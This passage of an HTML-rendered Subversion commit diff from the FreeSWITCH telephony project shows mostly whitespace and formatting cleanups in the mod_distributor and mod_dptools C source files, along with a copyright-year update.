</span><ins>+
</ins><span class="cx">                         if (np) {
</span><span class="cx">                                 np-&gt;next = node;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -198,7 +200,7 @@
</span><span class="cx"> 
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Total weight does not add up to total weight %d\n&quot;, lp-&gt;target_weight);
</span><span class="cx"> 
</span><del>-                        for(np1 = lp-&gt;nodes; np1; np1 = np1-&gt;next) {
</del><ins>+                        for (np1 = lp-&gt;nodes; np1; np1 = np1-&gt;next) {
</ins><span class="cx">                                 np1-&gt;weight += lp-&gt;target_weight - ea;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -230,7 +232,7 @@
</span><span class="cx"> {
</span><span class="cx">         struct dist_node *np;
</span><span class="cx"> 
</span><del>-        for(np = list-&gt;nodes; np; np = np-&gt;next) {
</del><ins>+        for (np = list-&gt;nodes; np; np = np-&gt;next) {
</ins><span class="cx">                 np-&gt;cur_weight = np-&gt;weight;
</span><span class="cx">         }
</span><span class="cx">         list-&gt;last = -1;
</span><span class="lines">@@ -243,9 +245,9 @@
</span><span class="cx">         struct dist_node *np, *match = NULL;
</span><span class="cx">         int x = 0, mx = 0;
</span><span class="cx">         int matches = 0, loops = 0;
</span><del>-        
-        for(;;) {
</del><span class="cx"> 
</span><ins>+        for (;;) {
+
</ins><span class="cx">                 if (++loops &gt; 1000) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -255,7 +257,7 @@
</span><span class="cx">                         list-&gt;last = -1;
</span><span class="cx">                 }
</span><span class="cx">                 match = NULL;
</span><del>-                for(np = list-&gt;nodes; np; np = np-&gt;next) {
</del><ins>+                for (np = list-&gt;nodes; np; np = np-&gt;next) {
</ins><span class="cx">                         if (np-&gt;cur_weight &lt; list-&gt;target_weight) {
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;%s %d/%d\n&quot;, np-&gt;name, np-&gt;cur_weight, list-&gt;target_weight);
</span><span class="cx">                                 matches++;
</span><span class="lines">@@ -274,7 +276,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Choose %s\n&quot;, match-&gt;name);
</span><span class="cx">                         return match;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (matches) {
</span><span class="cx">                         list-&gt;last = -1;
</span><span class="cx">                 } else {
</span><span class="lines">@@ -294,7 +296,7 @@
</span><span class="cx">         char *str = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.mod_lock);
</span><del>-        for(lp = globals.list; lp; lp = lp-&gt;next) {
</del><ins>+        for (lp = globals.list; lp; lp = lp-&gt;next) {
</ins><span class="cx">                 if (!strcasecmp(name, lp-&gt;name)) {
</span><span class="cx">                         np = find_next(lp);
</span><span class="cx">                         break;
</span><span class="lines">@@ -307,14 +309,14 @@
</span><span class="cx">         switch_mutex_unlock(globals.mod_lock);
</span><span class="cx"> 
</span><span class="cx">         return str;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(distributor_exec)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char *ret = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;distributor requires an argument\n&quot;);
</span><span class="cx">                 return;
</span><span class="lines">@@ -370,11 +372,12 @@
</span><span class="cx">         globals.pool = pool;
</span><span class="cx"> 
</span><span class="cx">         load_config(SWITCH_FALSE);
</span><del>-        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, &quot;distributor&quot;, &quot;Distributor API&quot;, distributor_function, &quot;&lt;list name&gt;&quot;);
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;distributor_ctl&quot;, &quot;Distributor API&quot;, distributor_ctl_function, &quot;[reload]&quot;);
</span><del>-        SWITCH_ADD_APP(app_interface, &quot;distributor&quot;, &quot;Distributor APP&quot;, &quot;Distributor APP&quot;, distributor_exec, &quot;&lt;list name&gt;&quot;, SAF_SUPPORT_NOMEDIA|SAF_ROUTING_EXEC);
</del><ins>+        SWITCH_ADD_APP(app_interface, &quot;distributor&quot;, &quot;Distributor APP&quot;, &quot;Distributor APP&quot;, distributor_exec, &quot;&lt;list name&gt;&quot;,
+                                   SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</ins><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_dptoolsmod_dptoolsc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_dptools/mod_dptools.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -89,7 +89,7 @@
</span><span class="cx">                 switch_caller_extension_add_application(session, extension, app, data);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        caller_profile-&gt;destination_number = (char *)caller_profile-&gt;rdnis;
</del><ins>+        caller_profile-&gt;destination_number = (char *) caller_profile-&gt;rdnis;
</ins><span class="cx">         caller_profile-&gt;rdnis = SWITCH_BLANK_STRING;
</span><span class="cx"> 
</span><span class="cx">         return extension;
</span><span class="lines">@@ -177,7 +177,8 @@
</span><span class="cx"> SWITCH_STANDARD_APP(mkdir_function)
</span><span class="cx"> {
</span><span class="cx">         switch_dir_make_recursive(data, SWITCH_DEFAULT_DIR_PERMS, switch_core_session_get_pool(session));
</span><del>-        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s MKDIR: %s\n&quot;, switch_channel_get_name(switch_core_session_get_channel(session)), data);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s MKDIR: %s\n&quot;,
+                                          switch_channel_get_name(switch_core_session_get_channel(session)), data);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define SOFT_HOLD_SYNTAX &quot;&lt;unhold key&gt; [&lt;moh_a&gt;] [&lt;moh_b&gt;]&quot;
</span><span class="lines">@@ -276,7 +277,7 @@
</span><span class="cx">                 if (strchr(argv[2], '1')) {
</span><span class="cx">                         bind_flags |= SBF_ONCE;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_ivr_bind_dtmf_meta_session(session, kval, bind_flags, argv[3]) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Bind Error!\n&quot;);
</span><span class="cx">                 }
</span><span class="lines">@@ -375,7 +376,7 @@
</span><span class="cx">                                 if (e_data.total) {
</span><span class="cx">                                         for (x = 0; x &lt; e_data.total &amp;&amp; switch_channel_ready(channel); x++) {
</span><span class="cx">                                                 /* If we have a group and 1000 concurrent calls, we will flood the logs. This check avoids this */
</span><del>-                                                if ( !require_group )
</del><ins>+                                                if (!require_group)
</ins><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Spy: %s\n&quot;, e_data.uuid_list[x]);
</span><span class="cx">                                                 if ((file = switch_channel_get_variable(channel, &quot;eavesdrop_indicate_new&quot;))) {
</span><span class="cx">                                                         switch_ivr_play_file(session, NULL, file, NULL);
</span><span class="lines">@@ -437,9 +438,9 @@
</span><span class="cx"> 
</span><span class="cx">         mydata = switch_core_session_strdup(session, data);
</span><span class="cx">         argc = switch_split(mydata, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc != 2) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Error. USAGE: %s\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Error. USAGE: %s\n&quot;,
</ins><span class="cx">                                                   switch_core_session_get_name(session), SET_AUDIO_LEVEL_SYNTAX);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="lines">@@ -447,8 +448,8 @@
</span><span class="cx">         level = atoi(argv[1]);
</span><span class="cx"> 
</span><span class="cx">         switch_ivr_session_audio(session, &quot;level&quot;, argv[0], level);
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> #define SET_MUTE_SYNTAX &quot;[read|write] [[true|cn level]|false]&quot;
</span><span class="lines">@@ -461,19 +462,19 @@
</span><span class="cx"> 
</span><span class="cx">         mydata = switch_core_session_strdup(session, data);
</span><span class="cx">         argc = switch_split(mydata, ' ', argv);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc != 2) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Error. USAGE: %s\n&quot;, 
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Error. USAGE: %s\n&quot;,
</ins><span class="cx">                                                   switch_core_session_get_name(session), SET_MUTE_SYNTAX);
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((level = atoi(argv[1])) &lt;= 0) {
</span><span class="cx">                 level = switch_true(argv[1]);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_ivr_session_audio(session, &quot;mute&quot;, argv[0], level);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -731,7 +732,7 @@
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_channel_presence(channel, argv[0], argv[1], argv[2]);        
</del><ins>+        switch_channel_presence(channel, argv[0], argv[1], argv[2]);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(pre_answer_function)
</span><span class="lines">@@ -787,7 +788,7 @@
</span><span class="cx"> SWITCH_STANDARD_APP(set_function)
</span><span class="cx"> {
</span><span class="cx">         char *var, *val = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;No variable name specified.\n&quot;);
</span><span class="cx">         } else {
</span><span class="lines">@@ -808,7 +809,8 @@
</span><span class="cx">                         expanded = switch_channel_expand_variables(channel, val);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SET [%s]=[%s]\n&quot;, switch_channel_get_name(channel), var, expanded ? expanded : &quot;UNDEF&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s SET [%s]=[%s]\n&quot;, switch_channel_get_name(channel), var,
+                                                  expanded ? expanded : &quot;UNDEF&quot;);
</ins><span class="cx">                 switch_channel_set_variable_var_check(channel, var, expanded, SWITCH_FALSE);
</span><span class="cx"> 
</span><span class="cx">                 if (expanded &amp;&amp; expanded != val) {
</span><span class="lines">@@ -857,7 +859,7 @@
</span><span class="cx">                                 val = NULL;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_channel_set_profile_var(switch_core_session_get_channel(session), name, val);
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="lines">@@ -891,8 +893,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;EXPORT %s[%s]=[%s]\n&quot;, local ? &quot;&quot; : &quot;(REMOTE ONLY) &quot;, var_name ? var_name : &quot;&quot;,
-                                                  val ? val : &quot;UNDEF&quot;);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;EXPORT %s[%s]=[%s]\n&quot;, local ? &quot;&quot; : &quot;(REMOTE ONLY) &quot;,
+                                                  var_name ? var_name : &quot;&quot;, val ? val : &quot;UNDEF&quot;);
</ins><span class="cx">                 switch_channel_set_variable(channel, var, val);
</span><span class="cx"> 
</span><span class="cx">                 if (var &amp;&amp; val) {
</span><span class="lines">@@ -999,11 +1001,11 @@
</span><span class="cx">                                                 while (*p == ' ')
</span><span class="cx">                                                         *p++ = '\0';
</span><span class="cx">                                                 val = p;
</span><del>-                                                if (!strcasecmp(var,&quot;Event-Name&quot;)) {
</del><ins>+                                                if (!strcasecmp(var, &quot;Event-Name&quot;)) {
</ins><span class="cx">                                                         switch_name_event(val, &amp;event-&gt;event_id);
</span><span class="cx">                                                         switch_event_del_header(event, var);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
</span><del>-                                                } else if (!strcasecmp(var,&quot;Event-Subclass&quot;)) {
</del><ins>+                                                } else if (!strcasecmp(var, &quot;Event-Subclass&quot;)) {
</ins><span class="cx">                                                         size_t len = strlen(val) + 1;
</span><span class="cx">                                                         void *new = malloc(len);
</span><span class="cx">                                                         switch_assert(new);
</span><span class="lines">@@ -1043,7 +1045,8 @@
</span><span class="cx">                         switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
</span><span class="cx">                         switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n&quot;);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+                                                          &quot;INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n&quot;);
</ins><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Set Privacy to %s [%d]\n&quot;, data, caller_profile-&gt;flags);
</span><span class="cx">         }
</span><span class="lines">@@ -1112,7 +1115,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(presence_api_function)
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *event;
</span><del>-        char *lbuf = NULL , *argv[4];
</del><ins>+        char *lbuf = NULL, *argv[4];
</ins><span class="cx">         int argc = 0;
</span><span class="cx">         switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
</span><span class="cx">         int need = 4;
</span><span class="lines">@@ -1158,7 +1161,7 @@
</span><span class="cx">         switch_safe_free(lbuf);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> 
</span><del>- error:
</del><ins>+  error:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(lbuf);
</span><span class="cx">         stream-&gt;write_function(stream, &quot;Invalid: presence %s&quot;, PRESENCE_USAGE);
</span><span class="lines">@@ -1173,8 +1176,7 @@
</span><span class="cx">         if (!zstr(cmd) &amp;&amp; (lbuf = strdup(cmd))
</span><span class="cx">                 &amp;&amp; (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) &gt;= 4) {
</span><span class="cx"> 
</span><del>-                if (switch_core_chat_send(argv[0], &quot;dp&quot;, argv[1], argv[2], &quot;&quot;, argv[3],
-                                                                  !zstr(argv[4]) ? argv[4] : NULL , &quot;&quot;) == SWITCH_STATUS_SUCCESS) {
</del><ins>+                if (switch_core_chat_send(argv[0], &quot;dp&quot;, argv[1], argv[2], &quot;&quot;, argv[3], !zstr(argv[4]) ? argv[4] : NULL, &quot;&quot;) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                         stream-&gt;write_function(stream, &quot;Sent&quot;);
</span><span class="cx">                 } else {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;Error! Message Not Sent&quot;);
</span><span class="lines">@@ -1206,7 +1208,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_event_t *params;
</span><del>-        const char *name = (const char*)data;
</del><ins>+        const char *name = (const char *) data;
</ins><span class="cx"> 
</span><span class="cx">         if (channel) {
</span><span class="cx">                 switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
</span><span class="lines">@@ -1234,7 +1236,7 @@
</span><span class="cx">                                                 &amp;&amp; switch_ivr_menu_stack_xml_build(xml_ctx, &amp;menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                 switch_xml_free(cxml);
</span><span class="cx">                                                 cxml = NULL;
</span><del>-                                                switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
</del><ins>+                                                switch_ivr_menu_execute(session, menu_stack, (char *) name, NULL);
</ins><span class="cx">                                                 switch_ivr_menu_stack_free(menu_stack);
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Unable to create menu\n&quot;);
</span><span class="lines">@@ -1404,7 +1406,7 @@
</span><span class="cx">                         for (p = terminators; p &amp;&amp; *p; p++) {
</span><span class="cx">                                 if (*p == dtmf-&gt;digit) {
</span><span class="cx">                                         switch_snprintf(sbuf, sizeof(sbuf), &quot;%c&quot;, *p);
</span><del>-                                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf );
</del><ins>+                                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf);
</ins><span class="cx">                                         return SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="lines">@@ -1432,7 +1434,7 @@
</span><span class="cx">                         args.input_callback = on_dtmf;
</span><span class="cx">                         args.buf = buf;
</span><span class="cx">                         args.buflen = sizeof(buf);
</span><del>-                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><ins>+                        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 switch_ivr_sleep(session, ms, SWITCH_TRUE, &amp;args);
</span><span class="lines">@@ -1503,7 +1505,7 @@
</span><span class="cx">         args.buf = buf;
</span><span class="cx">         args.buflen = sizeof(buf);
</span><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         switch_ivr_speak_text(session, engine, voice, text, &amp;args);
</span><span class="cx"> }
</span><span class="lines">@@ -1582,7 +1584,8 @@
</span><span class="cx">                         switch_stream_handle_t stream = { 0 };
</span><span class="cx">                         SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                         switch_api_execute(&quot;uuid_bridge&quot;, id, NULL, &amp;stream);
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;\nHangup Command uuid_bridge(%s):\n%s\n&quot;, id, switch_str_nil((char *) stream.data));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;\nHangup Command uuid_bridge(%s):\n%s\n&quot;, id,
+                                                          switch_str_nil((char *) stream.data));
</ins><span class="cx">                         switch_safe_free(stream.data);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1607,7 +1610,7 @@
</span><span class="cx"> 
</span><span class="cx">         switch_channel_set_variable(channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, bond);
</span><span class="cx"> 
</span><del>-        if (switch_ivr_originate(session, &amp;peer_session, &amp;cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL) 
</del><ins>+        if (switch_ivr_originate(session, &amp;peer_session, &amp;cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
</ins><span class="cx">                 != SWITCH_STATUS_SUCCESS || !peer_session) {
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="lines">@@ -1640,13 +1643,13 @@
</span><span class="cx">                                 switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
</span><span class="cx">                                 switch_snprintf(buf, sizeof(buf), &quot;%s %s&quot;, switch_core_session_get_uuid(peer_session), switch_core_session_get_uuid(session));
</span><span class="cx">                                 switch_channel_set_variable(b_channel, &quot;xfer_uuids&quot;, buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_snprintf(buf, sizeof(buf), &quot;%s %s&quot;, switch_core_session_get_uuid(peer_session), bond);
</span><span class="cx">                                 switch_channel_set_variable(channel, &quot;xfer_uuids&quot;, buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_event_hook_add_state_change(session, hanguphook);
</span><span class="cx">                                 switch_core_event_hook_add_state_change(b_session, hanguphook);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_core_session_rwunlock(b_session);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -1654,7 +1657,7 @@
</span><span class="cx">                 if (!br) {
</span><span class="cx">                         switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), bond);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_core_session_rwunlock(peer_session);
</span><span class="lines">@@ -1813,11 +1816,11 @@
</span><span class="cx"> 
</span><span class="cx">         if (!zstr(data) &amp;&amp; (lbuf = switch_core_session_strdup(session, data))
</span><span class="cx">                 &amp;&amp; (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) == 4) {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 args.input_callback = on_dtmf;
</span><del>-                
-                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
-                
</del><ins>+
+                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
+
</ins><span class="cx">                 switch_ivr_say(session, argv[3], argv[0], argv[1], argv[2], &amp;args);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Usage: %s\n&quot;, SAY_SYNTAX);
</span><span class="lines">@@ -1841,15 +1844,16 @@
</span><span class="cx">                 if ((mdata = strchr(macro, ','))) {
</span><span class="cx">                         *mdata++ = '\0';
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 lang = switch_channel_get_variable(channel, &quot;language&quot;);
</span><span class="cx"> 
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Execute %s(%s) lang %s\n&quot;, macro, switch_str_nil(mdata), switch_str_nil(lang));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Execute %s(%s) lang %s\n&quot;, macro, switch_str_nil(mdata),
+                                                  switch_str_nil(lang));
</ins><span class="cx"> 
</span><span class="cx">                 args.input_callback = on_dtmf;
</span><del>-                
-                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><span class="cx"> 
</span><ins>+                switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
+
</ins><span class="cx">                 status = switch_ivr_phrase_macro(session, macro, mdata, lang, &amp;args);
</span><span class="cx">         } else {
</span><span class="cx">                 status = SWITCH_STATUS_NOOP;
</span><span class="lines">@@ -1878,10 +1882,10 @@
</span><span class="cx">         switch_file_handle_t fh = { 0 };
</span><span class="cx">         char *p;
</span><span class="cx">         const char *file = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (data) {
</span><span class="cx">                 file = switch_core_session_strdup(session, data);
</span><del>-                if ((p = strchr(file, '@')) &amp;&amp; *(p+1) == '@') {
</del><ins>+                if ((p = strchr(file, '@')) &amp;&amp; *(p + 1) == '@') {
</ins><span class="cx">                         *p = '\0';
</span><span class="cx">                         p += 2;
</span><span class="cx">                         if (p &amp;&amp; *p) {
</span><span class="lines">@@ -1894,7 +1898,7 @@
</span><span class="cx"> 
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         status = switch_ivr_play_file(session, &amp;fh, file, &amp;args);
</span><span class="cx"> 
</span><span class="lines">@@ -1920,8 +1924,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         const char *file = data;
</span><del>-        
-        while(switch_channel_ready(channel)) {
</del><ins>+
+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 status = switch_ivr_play_file(session, NULL, file, NULL);
</span><span class="cx"> 
</span><span class="cx">                 if (status != SWITCH_STATUS_SUCCESS &amp;&amp; status != SWITCH_STATUS_BREAK) {
</span><span class="lines">@@ -1968,7 +1972,7 @@
</span><span class="cx"> 
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         switch_ivr_gentones(session, tone_script, loops, &amp;args);
</span><span class="cx"> }
</span><span class="lines">@@ -2060,7 +2064,7 @@
</span><span class="cx"> 
</span><span class="cx">         args.input_callback = on_dtmf;
</span><span class="cx"> 
</span><del>-        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot; );
</del><ins>+        switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, &quot;&quot;);
</ins><span class="cx"> 
</span><span class="cx">         status = switch_ivr_record_file(session, &amp;fh, path, &amp;args, limit);
</span><span class="cx"> 
</span><span class="lines">@@ -2071,7 +2075,7 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(preprocess_session_function)
</span><span class="cx"> {
</span><del>-        switch_ivr_preprocess_session(session, (char *)data);
</del><ins>+        switch_ivr_preprocess_session(session, (char *) data);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(record_session_function)
</span><span class="lines">@@ -2089,7 +2093,7 @@
</span><span class="cx">         /* Search for a space then a plus followed by only numbers at the end of the path, 
</span><span class="cx">            if found trim any spaces to the left/right of the plus use the left side as the
</span><span class="cx">            path and right side as a time limit on the recording
</span><del>-        */
</del><ins>+         */
</ins><span class="cx"> 
</span><span class="cx">         /* if we find a + and the character before it is a space */
</span><span class="cx">         if ((path_end = strrchr(path, '+')) &amp;&amp; path_end &gt; path &amp;&amp; *(path_end - 1) == ' ') {
</span><span class="lines">@@ -2102,7 +2106,7 @@
</span><span class="cx">                         path_end--;
</span><span class="cx"> 
</span><span class="cx">                         /* trim spaces to the left of the plus */
</span><del>-                        while(path_end &gt; path &amp;&amp; *path_end == ' ') {
</del><ins>+                        while (path_end &gt; path &amp;&amp; *path_end == ' ') {
</ins><span class="cx">                                 path_end--;
</span><span class="cx">                         }
</span><span class="cx"> 
</span><span class="lines">@@ -2165,15 +2169,15 @@
</span><span class="cx">         args.input_callback = camp_fire;
</span><span class="cx">         args.buf = dbuf;
</span><span class="cx">         args.buflen = sizeof(dbuf);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_read_lock(session);
</span><span class="cx"> 
</span><span class="cx">         /* don't set this to a local_stream:// or you will not be happy */
</span><span class="cx">         if ((greet = switch_channel_get_variable(channel, &quot;campon_announce_sound&quot;))) {
</span><span class="cx">                 status = switch_ivr_play_file(session, NULL, greet, &amp;args);
</span><span class="cx">         }
</span><del>-        
-        while(stake-&gt;running &amp;&amp; switch_channel_ready(channel)) {
</del><ins>+
+        while (stake-&gt;running &amp;&amp; switch_channel_ready(channel)) {
